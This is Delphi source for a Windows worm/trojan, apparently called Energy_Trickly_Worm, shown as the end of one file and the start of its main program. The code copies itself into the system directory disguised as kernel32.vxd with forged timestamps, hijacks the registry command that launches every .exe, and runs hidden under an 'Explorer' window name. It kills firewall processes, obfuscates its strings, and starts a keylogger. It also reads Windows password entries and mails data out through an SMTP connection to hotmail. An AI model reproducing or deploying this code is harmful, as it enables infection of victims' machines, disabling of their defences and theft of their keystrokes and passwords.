bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); listen(Server,5); end;} //=====copyit function GetFileDateTimeModified(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var dt,tm: word; DateTime: integer; begin result := false; DateTime := FileAge(FileName); if DateTime = -1 then exit else result := true; tm := DateTime and $FFFF; {lower word} dt := DateTime shr 16; {upper word} h := tm shr 11; m := (tm shr 5) and $3F; s := (tm and $1F) * 2; dd := dt and $1F; mm := (dt shr 5) and $F; yyyy := (dt shr 9)+1980; end; function SetFileDateTime(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var SrchHdl: THandle; FileHdl: HFile; FindData: TWin32FindData; wDate,wTime: word; LocalFileTime, NewFileTime: TFileTime; begin result := false; SrchHdl := FindFirstFile(PChar(FileName), FindData); if SrchHdl <> INVALID_HANDLE_VALUE then begin Windows.FindClose(SrchHdl); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin wTime := (h shl 11) + (m shl 5) + (m div 2); wDate := (dd) + (mm shl 5)+ ((yyyy-1980) shl 9); DosDateTimeToFileTime(wDate,wTime,LocalFileTime); LocalFileTimeToFileTime(LocalFileTime, NewFileTime); FileHdl := _lopen(PChar(FileName), OF_WRITE); if FileHdl <> HFILE_ERROR then begin if SetFileTime(FileHdl,@NewFileTime,@NewFileTime,@NewFileTime) then result := true; _lclose(FileHdl); end; end; end; end; procedure copyit; var FromF, ToF: file; NumRead, NumWritten: Integer; Buf: array[1..2048] of Char; begin s:=paramstr(0); if s<>systemdir+crypt(']ifvkck;;$}ti') then begin filemode:=0; if fileexists(systemdir+crypt(']ifvkck;;$}ti')) then exit; //kernel32.vxd AssignFile(FromF,paramstr(0)); Reset(FromF, 1); { Record size = 1 } AssignFile(ToF, systemdir+crypt(']ifvkck;;$}ti')); //kernel32.vxd Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); CloseFile(FromF); CloseFile(ToF); GetFileDateTimeModified(windowsdir+crypt(']g{tiium{$nth'),yyyy,mm,dd,h,m,ss); //\explorer.exe SetFileDateTime(systemdir+crypt(']ifvkck;;$}ti'),yyyy,mm,dd,h,m,ss); //kernel32.vxd end; end; //===========Online??? const INVALID_IP_ADDRESS= $ffffffff; function ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; function lookup_hostname(const hostname:string):longint; var RemoteHost : PHostEnt; (* no, don't free it! *) ip_address: integer; s: string; begin ip_address:=INVALID_IP_ADDRESS; try if hostname='' then begin (* no host given! *) lookup_hostname:=ip_address; EXIT; end else begin s:=hostname+#0; ip_address:=Inet_Addr(PChar(@s[1])); // ip_address:=Winsock.Inet_Addr(PChar(hostname)); if ip_address=$FFFFFFFF then begin RemoteHost:=GetHostByName(PChar(@s[1])); // RemoteHost:=Winsock.GetHostByName(PChar(hostname)); if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then begin lookup_hostname:=ip_address; EXIT; (* host not found *) end else ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); end; end; except ip_address:=INVALID_IP_ADDRESS; end; lookup_hostname:=ip_address; end; //====== Connection Irc === type THede = class(TObject) procedure MyHwndProc(var Msg:TMessage); procedure agprun; function ip2string(ip_address:longint):string; end; const SocketMessag = WM_USER+107; var MySocket: TSocket; MyName : TSockAddr; MyAddr : TInAddr; Hede: THede; Buffer:array[0..1023] of char; res : word; WST : TWSAData; host: string; b:byte; function my_ip_address:longint; const bufsize=255; var buf: pointer; RemoteHost : PHostEnt; (* No, don't free it! *) begin buf:=NIL; try getmem(buf,bufsize); gethostname(buf,bufsize); (* this one maybe without domain *) RemoteHost:=GetHostByName(buf); if RemoteHost=NIL then my_ip_address:=htonl($7F000001) (* 127.0.0.1 *) else my_ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); finally if buf<>NIL then freemem(buf,bufsize); end; end; function THede.ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; procedure THede.MyHwndProc(var msg:TMessage); var check,s:string; begin FillChar(buffer,sizeof(buffer),#0); if msg.Msg = SocketMessag then begin if msg.LParamLo = FD_CLOSE then begin //writeln('end'); closesocket(mysocket); WSACleanup; exit; end; //if msg.LParamLo = FD_WRITE then writeln('[Socket Write]'); end; // sock.WriteString(MySocket,pchar(crypt('TQFV%')+copy(nukemsg2,1,7)+' "'+nukemsg2+'.com" "'+ip2string(my_ip_address)+'" :'+copy(nukemsg2,1,5)+#13+#10)); //USER end; procedure THede.agpRun; var zday,zmonth,s:string; myhwnd: Thandle; SystemTime:TSystemTime; z:longint; day,month:integer; begin host:='mail.hotmail.com'; z:=lookup_hostname(host); host:=ip2string(z); MySocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); MyAddr.S_addr:=Inet_Addr(@Host[1]); MyName.sin_family:=PF_INET; MyName.sin_port:=htons(25); //port to connect MyName.sin_addr:=MyAddr; // MyName.sin_port:=ntohs(strtoint(edit4.text)); //port on receive res:=connect(MySocket,MyName,sizeof(MyName)); if res<>0 then begin //S:='Connect Error : '+inttostr(WSAGetLastError); //writeln(s); closesocket(mysocket); WSACleanup; exit; end; myhwnd := AllocateHwnd(hede.MyHWndProc); WSAAsyncSelect(MySocket, myhwnd, SocketMessag, FD_WRITE OR FD_CLOSE ); res:=Recv(MySocket,Buffer,sizeof(buffer),0); sleep(2000); sock.WriteString(MySocket,pchar('HELO mail.hotmail.com'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('MAIL FROM: Energy@hotmail.com'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('RCPT TO: '+crypt('bmga}bf|hJccycny}ExitCode2 do processmessages; end; //===fuck_protection procedure scanprotection; begin if findwindow(nil,@(crypt('OgwEuv@}hxo'))[1])<>0 then //NetAppGuard begin killprocess(crypt('OgwEuv@}hxo')); //NetAppGuard end; if findwindow(nil,@(crypt('BmmW`gk(YI+JD\JGP^_'))[1])<>0 then //ConSeal PC FIREWALL begin killprocess(crypt('BmmW`gk(YI+JD\JGP^_')); appmsg(pchar(crypt('HR#ekb''ijidycz/~pv4yyp|~;ss>lIFLBHDGD eABJWP^wZXd]XVzTLZ7 ./d3#5; %%b'))); end; end; //============Thread_procedure=== procedure ThreadProc3; stdcall; begin end; procedure ThreadProc2; stdcall; begin end; procedure ThreadProc; stdcall; var ck1,ck2,ck3:boolean; begin ck1:=false; ck2:=false; ck3:=false; //initsocket; repeat WSACleanup; WSAStartup($101,WSD); z:=lookup_hostname(crypt('vut*hodzfydjy l|')); //www.microsoft.com if z>0 then ck1:=true else ck1:=false; if (ck1=true) and (ck2=false) then begin ck2:=true; ck3:=true; WSACleanup; initsocket; sleep(2000); WSAStartup($101,WST); hede.agprun; end; if (ck1=false) and (ck3=true) then begin ck3:=false; ck2:=false; ShutDownServer; WSACleanup; //writeln('disconnect'); end; sleep(120000); until TerminateThread(ThreadHdle, ExitCode); ShutDownServer; end; //=== Process CreateWindow === procedure OnCreate(hWnd:Integer); begin // end; procedure OnClose(hWnd:Integer); begin ShellExecute(0,nil,PChar(paramstr(0)),nil,nil,SW_NORMAL); //=== re active it ShutDownServer; GetExitCodeThread(ThreadHdle, ExitCode); TerminateThread(ThreadHdle, ExitCode); //GetExitCodeThread(ThreadHdle2, ExitCode2); //TerminateThread(ThreadHdle2, ExitCode2); //GetExitCodeThread(ThreadHdle3, ExitCode3); //TerminateThread(ThreadHdle3, ExitCode3); klog.LogDestroy; end; //== Processes every message sent to MAIN window === function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; begin Result:= 0; case Msg of WM_CREATE : OnCreate(hWnd); WM_CLOSE : OnClose(hWnd); WM_MY_SOCK_MESSAGE : OnSocketMessage(Msg,wParam,lParam); WM_DESTROY : ShutDownServer; end; Result:=DefWindowProc(hWnd,Msg,wParam,lParam); end; function RenameFile(const OldName, NewName: string): Boolean; begin Result := MoveFile(PChar(OldName), PChar(NewName)); end; //=== This is the MAIN PART program ======= begin scanprotection; {sss:=paramstr(1); for iii:=length(sss) downto 1 do begin ccc:=sss[iii]; sss2:=sss2+ccc; if ccc='\' then break; end; if ((sss2=crypt('DZF*75DZ@GW')) or (sss2=crypt('DZF*FTNEU'))) then begin copyfile(pchar(sss),pchar(copy(sss,1,length(sss)-length(sss2))+'\mirc32.com'),true); winexec(PChar(copy(sss,1,length(sss)-length(sss2))+'\mirc32.com'),SW_NORMAL); halt; end;} if (length(paramstr(1))>0) and (length(paramstr(2))>0) and (length(paramstr(3))>0) then winexec(PChar(paramstr(1)+' '+paramstr(2)+' '+paramstr(3)),SW_NORMAL); if (length(paramstr(1))>0) and (length(paramstr(2))>0) and (length(paramstr(3))=0) then winexec(PChar(paramstr(1)+' '+paramstr(2)),SW_NORMAL); if (length(paramstr(1))>0) and (length(paramstr(2))=0) then winexec(PChar(paramstr(1)),SW_NORMAL); if FindWindow(lpzClassName,lpzWindowsName) <> 0 then begin Halt; end;//If start second time hInst:=GetModuleHandle(nil); with wClass do begin Style:= CS_PARENTDC; hIcon:= 0; cbClsExtra:= 0; cbWndExtra:= 0; lpfnWndProc:= @WindowProc; hInstance:= hInst; hbrBackground:= COLOR_WINDOW; lpszClassName:= lpzClassName; lpszMenuName:= NIL; hCursor:= 0; //LoadCursor(0,IDC_ARROW); end; RegisterClass(wClass); Handle:=CreateWindow(lpzClassName,lpzWindowsName,WS_BORDER + WS_SIZEBOX, 0,0,10,10,0,0{hPP},hInst,nil); if Handle<>0 then begin UpdateWindow(Handle); ShowWindow(Handle, SW_HIDE); //SW_HIDE RegisterInService; end; //ThreadHdle2 := CreateThread( Nil,0,@ThreadProc2,Nil,0,ThreadID2); //scan protection //ThreadHdle3 := CreateThread( Nil,0,@ThreadProc3,Nil,0,ThreadID3); //scan protection Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('exefile\shell\open\command',true); Registre.WriteString('',pchar(crypt('jgqj`j4:''|sh-,*!326>'))); //kernel32.vxd "%1" %* Registre.Free; copyit; Timeout:=70; ThreadHdle := CreateThread( Nil,0,@ThreadProc,Nil,0,ThreadID); //Online??? //repeat //sleep(2000); //until z>0; //if z>0 then klog.LogCreate; ProcessMessages; end. --[Energy_Trickly_Worm.dpr]--------------------------------------------------------------- program v; uses dialogs,Windows; {$R *.RES} const {winsock const} FD_SETSIZE = 64; IOCPARM_MASK = $7f; IOC_VOID = $20000000; IOC_OUT = $40000000; IOC_IN = $80000000; IOC_INOUT = (IOC_IN or IOC_OUT); FIONREAD = IOC_OUT or { get # bytes to read } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 127; FIONBIO = IOC_IN or { set/clear non-blocking i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 126; FIOASYNC = IOC_IN or { set/clear async i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 125; // Protocols } IPPROTO_IP = 0; { dummy for IP } IPPROTO_ICMP = 1; { control message protocol } IPPROTO_IGMP = 2; { group management protocol } IPPROTO_GGP = 3; { gateway^2 (deprecated) } IPPROTO_TCP = 6; { tcp } IPPROTO_PUP = 12; { pup } IPPROTO_UDP = 17; { user datagram protocol } IPPROTO_IDP = 22; { xns idp } IPPROTO_ND = 77; { UNOFFICIAL net disk proto } IPPROTO_RAW = 255; { raw IP packet } IPPROTO_MAX = 256; IPPORT_RESERVED = 1024; INADDR_ANY = $00000000; INADDR_LOOPBACK = $7F000001; INADDR_BROADCAST = $FFFFFFFF; INADDR_NONE = $FFFFFFFF; WSADESCRIPTION_LEN = 256; WSASYS_STATUS_LEN = 128; TF_DISCONNECT = $01; TF_REUSE_SOCKET = $02; TF_WRITE_BEHIND = $04; IP_OPTIONS = 1; IP_MULTICAST_IF = 2; { set/get IP multicast interface } IP_MULTICAST_TTL = 3; { set/get IP multicast timetolive } IP_MULTICAST_LOOP = 4; { set/get IP multicast loopback } IP_ADD_MEMBERSHIP = 5; { add an IP group membership } IP_DROP_MEMBERSHIP = 6; { drop an IP group membership } IP_TTL = 7; { set/get IP Time To Live } IP_TOS = 8; { set/get IP Type Of Service } IP_DONTFRAGMENT = 9; { set/get IP Don't Fragment flag } IP_DEFAULT_MULTICAST_TTL = 1; { normally limit m'casts to 1 hop } IP_DEFAULT_MULTICAST_LOOP = 1; { normally hear sends if a member } IP_MAX_MEMBERSHIPS = 20; { per socket; must fit in one mbuf } SOCK_STREAM = 1; { stream socket } SOCK_DGRAM = 2; { datagram socket } SOCK_RAW = 3; { raw-protocol interface } SOCK_RDM = 4; { reliably-delivered message } SOCK_SEQPACKET = 5; { sequenced packet stream } SO_DEBUG = $0001; { turn on debugging info recording } SO_ACCEPTCONN = $0002; { socket has had listen() } SO_REUSEADDR = $0004; { allow local address reuse } SO_KEEPALIVE = $0008; { keep connections alive } SO_DONTROUTE = $0010; { just use interface addresses } SO_BROADCAST = $0020; { permit sending of broadcast msgs } SO_USELOOPBACK = $0040; { bypass hardware when possible } SO_LINGER = $0080; { linger on close if data present } SO_OOBINLINE = $0100; { leave received OOB data in line } SO_DONTLINGER = $ff7f; SO_SNDBUF = $1001; { send buffer size } SO_RCVBUF = $1002; { receive buffer size } SO_SNDLOWAT = $1003; { send low-water mark } SO_RCVLOWAT = $1004; { receive low-water mark } SO_SNDTIMEO = $1005; { send timeout } SO_RCVTIMEO = $1006; { receive timeout } SO_ERROR = $1007; { get error status and clear } SO_TYPE = $1008; { get socket type } // SO_CONNDATA = $7000; // SO_CONNOPT = $7001; // SO_DISCDATA = $7002; // SO_DISCOPT = $7003; // SO_CONNDATALEN = $7004; // SO_CONNOPTLEN = $7005; // SO_DISCDATALEN = $7006; // SO_DISCOPTLEN = $7007; // SO_OPENTYPE = $7008; // SO_SYNCHRONOUS_ALERT = $10; // SO_SYNCHRONOUS_NONALERT = $20; // SO_MAXDG = $7009; // SO_MAXPATHDG = $700A; // SO_UPDATE_ACCEPT_CONTEXT = $700B; // SO_CONNECT_TIME = $700C; TCP_NODELAY = $0001; TCP_BSDURGENT = $7000; // AF_UNSPEC = 0; { unspecified } AF_UNIX = 1; { local to host (pipes, portals) } AF_INET = 2; { internetwork: UDP, TCP, etc. } // AF_IMPLINK = 3; { arpanet imp addresses } // AF_PUP = 4; { pup protocols: e.g. BSP } // AF_CHAOS = 5; { mit CHAOS protocols } // AF_IPX = 6; { IPX and SPX } // AF_NS = 6; { XEROX NS protocols } // AF_ISO = 7; { ISO protocols } // AF_OSI = AF_ISO; { OSI is ISO } // AF_ECMA = 8; { european computer manufacturers } // AF_DATAKIT = 9; { datakit protocols } // AF_CCITT = 10; { CCITT protocols, X.25 etc } // AF_SNA = 11; { IBM SNA } // AF_DECnet = 12; { DECnet } // AF_DLI = 13; { Direct data link interface } // AF_LAT = 14; { LAT } // AF_HYLINK = 15; { NSC Hyperchannel } // AF_APPLETALK = 16; { AppleTalk } // AF_NETBIOS = 17; { NetBios-style addresses } // AF_VOICEVIEW = 18; { VoiceView } // AF_FIREFOX = 19; { FireFox } // AF_UNKNOWN1 = 20; { Somebody is using this! } // AF_BAN = 21; { Banyan } // AF_MAX = 22; // PF_UNSPEC = AF_UNSPEC; PF_UNIX = AF_UNIX; PF_INET = AF_INET; // PF_IMPLINK = AF_IMPLINK; // PF_PUP = AF_PUP; // PF_CHAOS = AF_CHAOS; // PF_NS = AF_NS; // PF_IPX = AF_IPX; // PF_ISO = AF_ISO; // PF_OSI = AF_OSI; // PF_ECMA = AF_ECMA; // PF_DATAKIT = AF_DATAKIT; // PF_CCITT = AF_CCITT; // PF_SNA = AF_SNA; // PF_DECnet = AF_DECnet; // PF_DLI = AF_DLI; // PF_LAT = AF_LAT; // PF_HYLINK = AF_HYLINK; // PF_APPLETALK = AF_APPLETALK; // PF_VOICEVIEW = AF_VOICEVIEW; // PF_FIREFOX = AF_FIREFOX; // PF_UNKNOWN1 = AF_UNKNOWN1; // PF_BAN = AF_BAN; // PF_MAX = AF_MAX; SOL_SOCKET = $ffff; {options for socket level } SOMAXCONN = 5;{ Maximum queue length specifiable by listen. } MSG_OOB = $1; {process out-of-band data } MSG_PEEK = $2; {peek at incoming message } MSG_DONTROUTE = $4; {send without using routing tables } MSG_MAXIOVLEN = 16; MSG_PARTIAL = $8000; {partial send or recv for message xport } MAXGETHOSTSTRUCT = 1024; FD_READ = $01; FD_WRITE = $02; FD_OOB = $04; FD_ACCEPT = $08; FD_CONNECT = $10; FD_CLOSE = $20; WSABASEERR = 10000; WSAEINTR = (WSABASEERR+4); WSAEBADF = (WSABASEERR+9); WSAEACCES = (WSABASEERR+13); WSAEFAULT = (WSABASEERR+14); WSAEINVAL = (WSABASEERR+22); WSAEMFILE = (WSABASEERR+24); WSAEWOULDBLOCK = (WSABASEERR+35); WSAEINPROGRESS = (WSABASEERR+36); WSAEALREADY = (WSABASEERR+37); WSAENOTSOCK = (WSABASEERR+38); WSAEDESTADDRREQ = (WSABASEERR+39); WSAEMSGSIZE = (WSABASEERR+40); WSAEPROTOTYPE = (WSABASEERR+41); WSAENOPROTOOPT = (WSABASEERR+42); WSAEPROTONOSUPPORT = (WSABASEERR+43); WSAESOCKTNOSUPPORT = (WSABASEERR+44); WSAEOPNOTSUPP = (WSABASEERR+45); WSAEPFNOSUPPORT = (WSABASEERR+46); WSAEAFNOSUPPORT = (WSABASEERR+47); WSAEADDRINUSE = (WSABASEERR+48); WSAEADDRNOTAVAIL = (WSABASEERR+49); WSAENETDOWN = (WSABASEERR+50); WSAENETUNREACH = (WSABASEERR+51); WSAENETRESET = (WSABASEERR+52); WSAECONNABORTED = (WSABASEERR+53); WSAECONNRESET = (WSABASEERR+54); WSAENOBUFS = (WSABASEERR+55); WSAEISCONN = (WSABASEERR+56); WSAENOTCONN = (WSABASEERR+57); WSAESHUTDOWN = (WSABASEERR+58); WSAETOOMANYREFS = (WSABASEERR+59); WSAETIMEDOUT = (WSABASEERR+60); WSAECONNREFUSED = (WSABASEERR+61); WSAELOOP = (WSABASEERR+62); WSAENAMETOOLONG = (WSABASEERR+63); WSAEHOSTDOWN = (WSABASEERR+64); WSAEHOSTUNREACH = (WSABASEERR+65); WSAENOTEMPTY = (WSABASEERR+66); WSAEPROCLIM = (WSABASEERR+67); WSAEUSERS = (WSABASEERR+68); WSAEDQUOT = (WSABASEERR+69); WSAESTALE = (WSABASEERR+70); WSAEREMOTE = (WSABASEERR+71); WSAEDISCON = (WSABASEERR+101); WSASYSNOTREADY = (WSABASEERR+91); WSAVERNOTSUPPORTED = (WSABASEERR+92); WSANOTINITIALISED = (WSABASEERR+93); WSAHOST_NOT_FOUND = (WSABASEERR+1001); HOST_NOT_FOUND = WSAHOST_NOT_FOUND; WSATRY_AGAIN = (WSABASEERR+1002); TRY_AGAIN = WSATRY_AGAIN; WSANO_RECOVERY = (WSABASEERR+1003); NO_RECOVERY = WSANO_RECOVERY; WSANO_DATA = (WSABASEERR+1004); NO_DATA = WSANO_DATA; WSANO_ADDRESS = WSANO_DATA; NO_ADDRESS = WSANO_ADDRESS; EWOULDBLOCK = WSAEWOULDBLOCK; EINPROGRESS = WSAEINPROGRESS; EALREADY = WSAEALREADY; ENOTSOCK = WSAENOTSOCK; EDESTADDRREQ = WSAEDESTADDRREQ; EMSGSIZE = WSAEMSGSIZE; EPROTOTYPE = WSAEPROTOTYPE; ENOPROTOOPT = WSAENOPROTOOPT; EPROTONOSUPPORT = WSAEPROTONOSUPPORT; ESOCKTNOSUPPORT = WSAESOCKTNOSUPPORT; EOPNOTSUPP = WSAEOPNOTSUPP; EPFNOSUPPORT = WSAEPFNOSUPPORT; EAFNOSUPPORT = WSAEAFNOSUPPORT; EADDRINUSE = WSAEADDRINUSE; EADDRNOTAVAIL = WSAEADDRNOTAVAIL; ENETDOWN = WSAENETDOWN; ENETUNREACH = WSAENETUNREACH; ENETRESET = WSAENETRESET; ECONNABORTED = WSAECONNABORTED; ECONNRESET = WSAECONNRESET; ENOBUFS = WSAENOBUFS; EISCONN = WSAEISCONN; ENOTCONN = WSAENOTCONN; ESHUTDOWN = WSAESHUTDOWN; ETOOMANYREFS = WSAETOOMANYREFS; ETIMEDOUT = WSAETIMEDOUT; ECONNREFUSED = WSAECONNREFUSED; ELOOP = WSAELOOP; ENAMETOOLONG = WSAENAMETOOLONG; EHOSTDOWN = WSAEHOSTDOWN; EHOSTUNREACH = WSAEHOSTUNREACH; ENOTEMPTY = WSAENOTEMPTY; EPROCLIM = WSAEPROCLIM; EUSERS = WSAEUSERS; EDQUOT = WSAEDQUOT; ESTALE = WSAESTALE; EREMOTE = WSAEREMOTE; winsocket = 'vqlgn55&mfg'; //wsock32.dll {messages windows const} WM_NULL = $0000; WM_CREATE = $0001; WM_DESTROY = $0002; WM_MOVE = $0003; WM_SIZE = $0005; WM_ACTIVATE = $0006; WM_SETFOCUS = $0007; WM_KILLFOCUS = $0008; WM_ENABLE = $000A; WM_SETREDRAW = $000B; WM_SETTEXT = $000C; WM_GETTEXT = $000D; WM_GETTEXTLENGTH = $000E; WM_PAINT = $000F; WM_CLOSE = $0010; WM_QUERYENDSESSION = $0011; WM_QUIT = $0012; WM_QUERYOPEN = $0013; WM_ERASEBKGND = $0014; WM_SYSCOLORCHANGE = $0015; WM_ENDSESSION = $0016; WM_SYSTEMERROR = $0017; WM_SHOWWINDOW = $0018; WM_CTLCOLOR = $0019; WM_WININICHANGE = $001A; WM_SETTINGCHANGE = WM_WININICHANGE; WM_DEVMODECHANGE = $001B; WM_ACTIVATEAPP = $001C; WM_FONTCHANGE = $001D; WM_TIMECHANGE = $001E; WM_CANCELMODE = $001F; WM_SETCURSOR = $0020; WM_MOUSEACTIVATE = $0021; WM_CHILDACTIVATE = $0022; WM_QUEUESYNC = $0023; WM_GETMINMAXINFO = $0024; WM_PAINTICON = $0026; WM_ICONERASEBKGND = $0027; WM_NEXTDLGCTL = $0028; WM_SPOOLERSTATUS = $002A; WM_DRAWITEM = $002B; WM_MEASUREITEM = $002C; WM_DELETEITEM = $002D; WM_VKEYTOITEM = $002E; WM_CHARTOITEM = $002F; WM_SETFONT = $0030; WM_GETFONT = $0031; WM_QUERYDRAGICON = $0037; WM_COMPAREITEM = $0039; WM_COMPACTING = $0041; WM_COMMNOTIFY = $0044; { obsolete in Win32} WM_WINDOWPOSCHANGING = $0046; WM_WINDOWPOSCHANGED = $0047; WM_POWER = $0048; WM_COPYDATA = $004A; WM_CANCELJOURNAL = $004B; WM_NOTIFY = $004E; WM_INPUTLANGCHANGEREQUEST = $0050; WM_INPUTLANGCHANGE = $0051; WM_TCARD = $0052; WM_HELP = $0053; WM_USERCHANGED = $0054; WM_NOTIFYFORMAT = $0055; WM_CONTEXTMENU = $007B; WM_STYLECHANGING = $007C; WM_STYLECHANGED = $007D; WM_DISPLAYCHANGE = $007E; WM_GETICON = $007F; WM_SETICON = $0080; WM_NCCREATE = $0081; WM_NCDESTROY = $0082; WM_NCCALCSIZE = $0083; WM_NCHITTEST = $0084; WM_NCPAINT = $0085; WM_NCACTIVATE = $0086; WM_GETDLGCODE = $0087; WM_NCMOUSEMOVE = $00A0; { WM_NCLBUTTONDOWN = $00A1; WM_NCLBUTTONUP = $00A2; WM_NCLBUTTONDBLCLK = $00A3; WM_NCRBUTTONDOWN = $00A4; WM_NCRBUTTONUP = $00A5; WM_NCRBUTTONDBLCLK = $00A6; WM_NCMBUTTONDOWN = $00A7; WM_NCMBUTTONUP = $00A8; WM_NCMBUTTONDBLCLK = $00A9; } WM_KEYFIRST = $0100; WM_KEYDOWN = $0100; WM_KEYUP = $0101; WM_CHAR = $0102; WM_DEADCHAR = $0103; WM_SYSKEYDOWN = $0104; WM_SYSKEYUP = $0105; WM_SYSCHAR = $0106; WM_SYSDEADCHAR = $0107; WM_KEYLAST = $0108; WM_INITDIALOG = $0110; WM_COMMAND = $0111; WM_SYSCOMMAND = $0112; WM_TIMER = $0113; WM_HSCROLL = $0114; WM_VSCROLL = $0115; WM_INITMENU = $0116; WM_INITMENUPOPUP = $0117; WM_MENUSELECT = $011F; WM_MENUCHAR = $0120; WM_ENTERIDLE = $0121; WM_CTLCOLORMSGBOX = $0132; WM_CTLCOLOREDIT = $0133; WM_CTLCOLORLISTBOX = $0134; WM_CTLCOLORBTN = $0135; WM_CTLCOLORDLG = $0136; WM_CTLCOLORSCROLLBAR= $0137; WM_CTLCOLORSTATIC = $0138; WM_MOUSEFIRST = $0200; WM_MOUSEMOVE = $0200; WM_LBUTTONDOWN = $0201; WM_LBUTTONUP = $0202; WM_LBUTTONDBLCLK = $0203; WM_RBUTTONDOWN = $0204; WM_RBUTTONUP = $0205; WM_RBUTTONDBLCLK = $0206; WM_MBUTTONDOWN = $0207; WM_MBUTTONUP = $0208; WM_MBUTTONDBLCLK = $0209; WM_MOUSEWHEEL = $020A; WM_MOUSELAST = $020A; WM_PARENTNOTIFY = $0210; WM_ENTERMENULOOP = $0211; WM_EXITMENULOOP = $0212; WM_NEXTMENU = $0213; WM_SIZING = 532; WM_CAPTURECHANGED = 533; WM_MOVING = 534; WM_POWERBROADCAST = 536; WM_DEVICECHANGE = 537; { WM_IME_STARTCOMPOSITION = $010D; WM_IME_ENDCOMPOSITION = $010E; WM_IME_COMPOSITION = $010F; WM_IME_KEYLAST = $010F; WM_IME_SETCONTEXT = $0281; WM_IME_NOTIFY = $0282; WM_IME_CONTROL = $0283; WM_IME_COMPOSITIONFULL = $0284; WM_IME_SELECT = $0285; WM_IME_CHAR = $0286; WM_IME_KEYDOWN = $0290; WM_IME_KEYUP = $0291; WM_MDICREATE = $0220; WM_MDIDESTROY = $0221; WM_MDIACTIVATE = $0222; WM_MDIRESTORE = $0223; WM_MDINEXT = $0224; WM_MDIMAXIMIZE = $0225; WM_MDITILE = $0226; WM_MDICASCADE = $0227; WM_MDIICONARRANGE = $0228; WM_MDIGETACTIVE = $0229; WM_MDISETMENU = $0230; WM_ENTERSIZEMOVE = $0231; WM_EXITSIZEMOVE = $0232; WM_DROPFILES = $0233; WM_MDIREFRESHMENU = $0234; } WM_MOUSEHOVER = $02A1; WM_MOUSELEAVE = $02A3; WM_CUT = $0300; WM_COPY = $0301; WM_PASTE = $0302; WM_CLEAR = $0303; WM_UNDO = $0304; WM_PAINTCLIPBOARD = $0309; WM_PRINT = 791; WM_PRINTCLIENT = 792; WM_HANDHELDFIRST = 856; WM_HANDHELDLAST = 863; WM_PENWINFIRST = $0380; WM_PENWINLAST = $038F; WM_COALESCE_FIRST = $0390; WM_COALESCE_LAST = $039F; WM_DDE_FIRST = $03E0; WM_DDE_INITIATE = WM_DDE_FIRST + 0; WM_DDE_TERMINATE = WM_DDE_FIRST + 1; WM_DDE_ADVISE = WM_DDE_FIRST + 2; WM_DDE_UNADVISE = WM_DDE_FIRST + 3; WM_DDE_ACK = WM_DDE_FIRST + 4; WM_DDE_DATA = WM_DDE_FIRST + 5; WM_DDE_REQUEST = WM_DDE_FIRST + 6; WM_DDE_POKE = WM_DDE_FIRST + 7; WM_DDE_EXECUTE = WM_DDE_FIRST + 8; WM_DDE_LAST = WM_DDE_FIRST + 8; WM_APP = $8000; WM_USER = $0400; UM_KEYHIT = WM_USER + 7; //keylog const ERROR = '|ERROR:'; ALLDONE = 'All done.'; //VER_PLATFORM_WIN32s = 0; //V/ER_PLATFORM_WIN32_WINDOWS = 1; //VER_PLATFORM_WIN32_NT = 2; Count : integer = 0; lpzClassName = 'Explorer '; lpzWindowsName = 'Explorer '; WM_MY_SOCK_MESSAGE = WM_USER+2; LFCR = #10#13; { File open modes } fmOpenRead = $0000; fmOpenWrite = $0001; fmOpenReadWrite = $0002; fmShareCompat = $0000; fmShareExclusive = $0010; fmShareDenyWrite = $0020; fmShareDenyRead = $0030; fmShareDenyNone = $0040; { File attribute constants } faReadOnly = $00000001; faHidden = $00000002; faSysFile = $00000004; faVolumeID = $00000008; faDirectory = $00000010; faArchive = $00000020; faAnyFile = $0000003F; {prog type} type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; ResourceSize: Word; PasswordSize: Word; EntryIndex: Byte; EntryType: Byte; PasswordC: Char; end; {winsock type} type u_char = Char; u_short = Word; u_int = Integer; u_long = Longint; TSocket = u_int; type PFDSet = ^TFDSet; TFDSet = packed record fd_count: u_int; fd_array: array[0..FD_SETSIZE-1] of TSocket; end; PTimeVal = ^TTimeVal; TTimeVal = packed record tv_sec: Longint; tv_usec: Longint; end; type PHostEnt = ^THostEnt; THostEnt = packed record h_name: PChar; h_aliases: ^PChar; h_addrtype: Smallint; h_length: Smallint; case Byte of 0: (h_addr_list: ^PChar); 1: (h_addr: ^PChar) end; PNetEnt = ^TNetEnt; TNetEnt = packed record n_name: PChar; n_aliases: ^PChar; n_addrtype: Smallint; n_net: u_long; end; PServEnt = ^TServEnt; TServEnt = packed record s_name: PChar; s_aliases: ^PChar; s_port: Smallint; s_proto: PChar; end; PProtoEnt = ^TProtoEnt; TProtoEnt = packed record p_name: PChar; p_aliases: ^Pchar; p_proto: Smallint; end; type SunB = packed record s_b1, s_b2, 